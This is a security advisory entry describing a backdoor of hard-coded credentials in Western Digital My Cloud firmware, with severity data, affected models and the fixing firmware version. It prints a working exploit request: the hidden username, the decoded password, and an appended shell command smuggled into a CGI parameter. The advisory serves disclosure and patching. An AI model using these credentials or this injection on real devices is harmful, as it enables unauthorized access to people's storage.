Hidden functionality (backdoor) in WD My Cloud - #VU9871

Vulnerability identifier: #VU9871

CSH Severity: Critical

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/U:Red

CVE-ID: N/A

CWE-ID: CWE-912

Exploitation vector: Remote access

Exploit availability: The vulnerability is being exploited in the wild

Vendor: Western Digital

Affected software:
WD My Cloud

The vulnerability allows a remote attacker to gain unauthorized access to vulnerable device.

The vulnerability exists due to presence of a backdoor code (hard-coded account credentials) in firmware shared by WD My Cloud and D-LINK DNS-320L ShareCenter software. A remote attacker can send a specially crafted HTTP GET request to the affected device and gain unauthorized access to it.

Exploitation example:

 GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1

where login is "mydlinkBRionyg" and password is "abc12345cba".

List of affected Western Digital devices:

               MyCloud
               MyCloudMirror
               My Cloud Gen 2
               My Cloud PR2100
               My Cloud PR4100
               My Cloud EX2 Ultra
               My Cloud EX2
               My Cloud EX4
               My Cloud EX2100
               My Cloud EX4100
               My Cloud DL2100
               My Cloud DL4100
               My Cloud DL4100

Note: this vulnerability was updated according to GulfTech advisory. Vulnerability severity is raised to critical and this vulnerability is being treated as a zero-day.

Update to version 2.30.172.

• https://support.wdc.com/download/notes/WD_My_Cloud_Firmware_Release_Notes_2.30.172.pdf?v=987
• http://gulftech.org/advisories/WDMyCloud%20Multiple%20Vulnerabilities/125